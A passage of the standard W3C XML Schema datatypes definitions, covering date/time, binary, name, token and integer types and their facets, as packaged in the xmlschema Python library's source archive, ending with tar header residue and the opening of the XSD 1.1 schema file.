<hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="partial"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#dateTime"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace fixed="true" value="collapse" id="dateTime.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="time" id="time"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="partial"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#time"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace fixed="true" value="collapse" id="time.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="date" id="date"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="partial"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#date"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace fixed="true" value="collapse" id="date.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="gYearMonth" id="gYearMonth"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="partial"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#gYearMonth"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace fixed="true" value="collapse" id="gYearMonth.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="gYear" id="gYear"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="partial"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#gYear"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace fixed="true" value="collapse" id="gYear.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="gMonthDay" id="gMonthDay"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="partial"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#gMonthDay"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace fixed="true" value="collapse" id="gMonthDay.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="gDay" id="gDay"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="partial"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#gDay"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace fixed="true" value="collapse" id="gDay.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="gMonth" id="gMonth"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="partial"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#gMonth"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace fixed="true" value="collapse" id="gMonth.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="hexBinary" id="hexBinary"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="length"/> <hfp:hasFacet name="minLength"/> <hfp:hasFacet name="maxLength"/> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasProperty name="ordered" value="false"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#binary"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace fixed="true" value="collapse" id="hexBinary.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="base64Binary" id="base64Binary"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="length"/> <hfp:hasFacet name="minLength"/> <hfp:hasFacet name="maxLength"/> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasProperty name="ordered" value="false"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#base64Binary"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace fixed="true" value="collapse" id="base64Binary.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="anyURI" id="anyURI"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="length"/> <hfp:hasFacet name="minLength"/> <hfp:hasFacet name="maxLength"/> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasProperty name="ordered" value="false"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#anyURI"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace fixed="true" value="collapse" id="anyURI.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="QName" id="QName"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="length"/> <hfp:hasFacet name="minLength"/> <hfp:hasFacet name="maxLength"/> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasProperty name="ordered" value="false"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#QName"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace fixed="true" value="collapse" id="QName.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="NOTATION" id="NOTATION"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="length"/> <hfp:hasFacet name="minLength"/> <hfp:hasFacet name="maxLength"/> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasProperty name="ordered" value="false"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#NOTATION"/> <xs:documentation> NOTATION cannot be used directly in a schema; rather a type must be derived from it by specifying at least one enumeration facet whose value is the name of a NOTATION declared in the schema. </xs:documentation> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace fixed="true" value="collapse" id="NOTATION.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:annotation> <xs:documentation> Now the derived primitive types </xs:documentation> </xs:annotation> <xs:simpleType name="normalizedString" id="normalizedString"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#normalizedString"/> </xs:annotation> <xs:restriction base="xs:string"> <xs:whiteSpace value="replace" id="normalizedString.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="token" id="token"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#token"/> </xs:annotation> <xs:restriction base="xs:normalizedString"> <xs:whiteSpace value="collapse" id="token.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="language" id="language"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#language"/> </xs:annotation> <xs:restriction base="xs:token"> <xs:pattern value="[a-zA-Z]{1,8}(-[a-zA-Z0-9]{1,8})*" id="language.pattern"> <xs:annotation> <xs:documentation source="http://www.ietf.org/rfc/rfc3066.txt"> pattern specifies the content of section 2.12 of XML 1.0e2 and RFC 3066 (Revised version of RFC 1766). </xs:documentation> </xs:annotation> </xs:pattern> </xs:restriction> </xs:simpleType> <xs:simpleType name="IDREFS" id="IDREFS"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="length"/> <hfp:hasFacet name="minLength"/> <hfp:hasFacet name="maxLength"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="pattern"/> <hfp:hasProperty name="ordered" value="false"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#IDREFS"/> </xs:annotation> <xs:restriction> <xs:simpleType> <xs:list itemType="xs:IDREF"/> </xs:simpleType> <xs:minLength value="1" id="IDREFS.minLength"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="ENTITIES" id="ENTITIES"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="length"/> <hfp:hasFacet name="minLength"/> <hfp:hasFacet name="maxLength"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="pattern"/> <hfp:hasProperty name="ordered" value="false"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#ENTITIES"/> </xs:annotation> <xs:restriction> <xs:simpleType> <xs:list itemType="xs:ENTITY"/> </xs:simpleType> <xs:minLength value="1" id="ENTITIES.minLength"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="NMTOKEN" id="NMTOKEN"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#NMTOKEN"/> </xs:annotation> <xs:restriction base="xs:token"> <xs:pattern value="\c+" id="NMTOKEN.pattern"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/REC-xml#NT-Nmtoken"> pattern matches production 7 from the XML spec </xs:documentation> </xs:annotation> </xs:pattern> </xs:restriction> </xs:simpleType> <xs:simpleType name="NMTOKENS" id="NMTOKENS"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="length"/> <hfp:hasFacet name="minLength"/> <hfp:hasFacet name="maxLength"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="pattern"/> <hfp:hasProperty name="ordered" value="false"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#NMTOKENS"/> </xs:annotation> <xs:restriction> <xs:simpleType> <xs:list itemType="xs:NMTOKEN"/> </xs:simpleType> <xs:minLength value="1" id="NMTOKENS.minLength"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="Name" id="Name"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#Name"/> </xs:annotation> <xs:restriction base="xs:token"> <xs:pattern value="\i\c*" id="Name.pattern"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/REC-xml#NT-Name"> pattern matches production 5 from the XML spec </xs:documentation> </xs:annotation> </xs:pattern> </xs:restriction> </xs:simpleType> <xs:simpleType name="NCName" id="NCName"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#NCName"/> </xs:annotation> <xs:restriction base="xs:Name"> <xs:pattern value="[\i-[:]][\c-[:]]*" id="NCName.pattern"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/REC-xml-names/#NT-NCName"> pattern matches production 4 from the Namespaces in XML spec </xs:documentation> </xs:annotation> </xs:pattern> </xs:restriction> </xs:simpleType> <xs:simpleType name="ID" id="ID"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#ID"/> </xs:annotation> <xs:restriction base="xs:NCName"/> </xs:simpleType> <xs:simpleType name="IDREF" id="IDREF"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#IDREF"/> </xs:annotation> <xs:restriction base="xs:NCName"/> </xs:simpleType> <xs:simpleType name="ENTITY" id="ENTITY"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#ENTITY"/> </xs:annotation> <xs:restriction base="xs:NCName"/> </xs:simpleType> <xs:simpleType name="integer" id="integer"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#integer"/> </xs:annotation> <xs:restriction base="xs:decimal"> <xs:fractionDigits fixed="true" value="0" id="integer.fractionDigits"/> <xs:pattern value="[\-+]?[0-9]+"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="nonPositiveInteger" id="nonPositiveInteger"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#nonPositiveInteger"/> </xs:annotation> <xs:restriction base="xs:integer"> <xs:maxInclusive value="0" id="nonPositiveInteger.maxInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="negativeInteger" id="negativeInteger"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#negativeInteger"/> </xs:annotation> <xs:restriction base="xs:nonPositiveInteger"> <xs:maxInclusive value="-1" id="negativeInteger.maxInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="long" id="long"> <xs:annotation> <xs:appinfo> <hfp:hasProperty name="bounded" value="true"/> <hfp:hasProperty name="cardinality" value="finite"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#long"/> </xs:annotation> <xs:restriction base="xs:integer"> <xs:minInclusive value="-9223372036854775808" id="long.minInclusive"/> <xs:maxInclusive value="9223372036854775807" id="long.maxInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="int" id="int"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#int"/> </xs:annotation> <xs:restriction base="xs:long"> <xs:minInclusive value="-2147483648" id="int.minInclusive"/> <xs:maxInclusive value="2147483647" id="int.maxInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="short" id="short"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#short"/> </xs:annotation> <xs:restriction base="xs:int"> <xs:minInclusive value="-32768" id="short.minInclusive"/> <xs:maxInclusive value="32767" id="short.maxInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="byte" id="byte"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#byte"/> </xs:annotation> <xs:restriction base="xs:short"> <xs:minInclusive value="-128" id="byte.minInclusive"/> <xs:maxInclusive value="127" id="byte.maxInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="nonNegativeInteger" id="nonNegativeInteger"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#nonNegativeInteger"/> </xs:annotation> <xs:restriction base="xs:integer"> <xs:minInclusive value="0" id="nonNegativeInteger.minInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="unsignedLong" id="unsignedLong"> <xs:annotation> <xs:appinfo> <hfp:hasProperty name="bounded" value="true"/> <hfp:hasProperty name="cardinality" value="finite"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#unsignedLong"/> </xs:annotation> <xs:restriction base="xs:nonNegativeInteger"> <xs:maxInclusive value="18446744073709551615" id="unsignedLong.maxInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="unsignedInt" id="unsignedInt"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#unsignedInt"/> </xs:annotation> <xs:restriction base="xs:unsignedLong"> <xs:maxInclusive value="4294967295" id="unsignedInt.maxInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="unsignedShort" id="unsignedShort"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#unsignedShort"/> </xs:annotation> <xs:restriction base="xs:unsignedInt"> <xs:maxInclusive value="65535" id="unsignedShort.maxInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="unsignedByte" id="unsignedByte"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#unsignedByte"/> </xs:annotation> <xs:restriction base="xs:unsignedShort"> <xs:maxInclusive value="255" id="unsignedByte.maxInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="positiveInteger" id="positiveInteger"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#positiveInteger"/> </xs:annotation> <xs:restriction base="xs:nonNegativeInteger"> <xs:minInclusive value="1" id="positiveInteger.minInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="derivationControl"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> </xs:annotation> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="substitution"/> <xs:enumeration value="extension"/> <xs:enumeration value="restriction"/> <xs:enumeration value="list"/> <xs:enumeration value="union"/> </xs:restriction> </xs:simpleType> <xs:group name="simpleDerivation"> <xs:choice> <xs:element ref="xs:restriction"/> <xs:element ref="xs:list"/> <xs:element ref="xs:union"/> </xs:choice> </xs:group> <xs:simpleType name="simpleDerivationSet"> <xs:annotation> <xs:documentation> #all or (possibly empty) subset of {restriction, union, list} </xs:documentation> <xs:documentation> A utility type, not for public use</xs:documentation> </xs:annotation> <xs:union> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="#all"/> </xs:restriction> </xs:simpleType> <xs:simpleType> <xs:list> <xs:simpleType> <xs:restriction base="xs:derivationControl"> <xs:enumeration value="list"/> <xs:enumeration value="union"/> <xs:enumeration value="restriction"/> </xs:restriction> </xs:simpleType> </xs:list> </xs:simpleType> </xs:union> </xs:simpleType> <xs:complexType name="simpleType" abstract="true"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:group ref="xs:simpleDerivation"/> <xs:attribute name="final" type="xs:simpleDerivationSet"/> <xs:attribute name="name" type="xs:NCName"> <xs:annotation> <xs:documentation> Can be restricted to required or forbidden </xs:documentation> </xs:annotation> </xs:attribute> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="topLevelSimpleType"> <xs:complexContent> <xs:restriction base="xs:simpleType"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:simpleDerivation"/> </xs:sequence> <xs:attribute name="name" type="xs:NCName" use="required"> <xs:annotation> <xs:documentation> Required at the top level </xs:documentation> </xs:annotation> </xs:attribute> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="localSimpleType"> <xs:complexContent> <xs:restriction base="xs:simpleType"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:simpleDerivation"/> </xs:sequence> <xs:attribute name="name" use="prohibited"> <xs:annotation> <xs:documentation> Forbidden when nested </xs:documentation> </xs:annotation> </xs:attribute> <xs:attribute name="final" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="simpleType" type="xs:topLevelSimpleType" id="simpleType"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-simpleType"/> </xs:annotation> </xs:element> <xs:group name="facets"> <xs:annotation> <xs:documentation> We should use a substitution group for facets, but that's ruled out because it would allow users to add their own, which we're not ready for yet. </xs:documentation> </xs:annotation> <xs:choice> <xs:element ref="xs:minExclusive"/> <xs:element ref="xs:minInclusive"/> <xs:element ref="xs:maxExclusive"/> <xs:element ref="xs:maxInclusive"/> <xs:element ref="xs:totalDigits"/> <xs:element ref="xs:fractionDigits"/> <xs:element ref="xs:length"/> <xs:element ref="xs:minLength"/> <xs:element ref="xs:maxLength"/> <xs:element ref="xs:enumeration"/> <xs:element ref="xs:whiteSpace"/> <xs:element ref="xs:pattern"/> </xs:choice> </xs:group> <xs:group name="simpleRestrictionModel"> <xs:sequence> <xs:element name="simpleType" type="xs:localSimpleType" minOccurs="0"/> <xs:group ref="xs:facets" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> </xs:group> <xs:element name="restriction" id="restriction"> <xs:complexType> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-restriction"> base attribute and simpleType child are mutually exclusive, but one or other is required </xs:documentation> </xs:annotation> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:group ref="xs:simpleRestrictionModel"/> <xs:attribute name="base" type="xs:QName" use="optional"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="list" id="list"> <xs:complexType> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-list"> itemType attribute and simpleType child are mutually exclusive, but one or other is required </xs:documentation> </xs:annotation> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:element name="simpleType" type="xs:localSimpleType" minOccurs="0"/> </xs:sequence> <xs:attribute name="itemType" type="xs:QName" use="optional"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="union" id="union"> <xs:complexType> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-union"> memberTypes attribute must be non-empty or there must be at least one simpleType child </xs:documentation> </xs:annotation> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:element name="simpleType" type="xs:localSimpleType" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="memberTypes" use="optional"> <xs:simpleType> <xs:list itemType="xs:QName"/> </xs:simpleType> </xs:attribute> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:complexType name="facet"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:attribute name="value" use="required"/> <xs:attribute name="fixed" type="xs:boolean" default="false" use="optional"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="noFixedFacet"> <xs:complexContent> <xs:restriction base="xs:facet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="fixed" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="minExclusive" type="xs:facet" id="minExclusive"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-minExclusive"/> </xs:annotation> </xs:element> <xs:element name="minInclusive" type="xs:facet" id="minInclusive"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-minInclusive"/> </xs:annotation> </xs:element> <xs:element name="maxExclusive" type="xs:facet" id="maxExclusive"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-maxExclusive"/> </xs:annotation> </xs:element> <xs:element name="maxInclusive" type="xs:facet" id="maxInclusive"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-maxInclusive"/> </xs:annotation> </xs:element> <xs:complexType name="numFacet"> <xs:complexContent> <xs:restriction base="xs:facet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="value" type="xs:nonNegativeInteger" use="required"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="totalDigits" id="totalDigits"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-totalDigits"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:restriction base="xs:numFacet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="value" type="xs:positiveInteger" use="required"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="fractionDigits" type="xs:numFacet" id="fractionDigits"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-fractionDigits"/> </xs:annotation> </xs:element> <xs:element name="length" type="xs:numFacet" id="length"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-length"/> </xs:annotation> </xs:element> <xs:element name="minLength" type="xs:numFacet" id="minLength"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-minLength"/> </xs:annotation> </xs:element> <xs:element name="maxLength" type="xs:numFacet" id="maxLength"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-maxLength"/> </xs:annotation> </xs:element> <xs:element name="enumeration" type="xs:noFixedFacet" id="enumeration"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-enumeration"/> </xs:annotation> </xs:element> <xs:element name="whiteSpace" id="whiteSpace"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-whiteSpace"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:restriction base="xs:facet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="value" use="required"> <xs:simpleType> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="preserve"/> <xs:enumeration value="replace"/> <xs:enumeration value="collapse"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="pattern" id="pattern"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-pattern"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:restriction base="xs:noFixedFacet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="value" type="xs:string" use="required"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:element> </xs:schema> ]]></pre> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/XSD_1.1/����������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0020106�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/XSD_1.1/XMLSchema.xsd���������������������������������������������0000664�0000000�0000000�00000204220�15020401055�0022407�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xs:schema PUBLIC "-//W3C//DTD XSD 1.1//EN" "XMLSchema.dtd"> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" xml:lang="EN" targetNamespace="http://www.w3.org/2001/XMLSchema" version="1.0"> <xs:annotation> 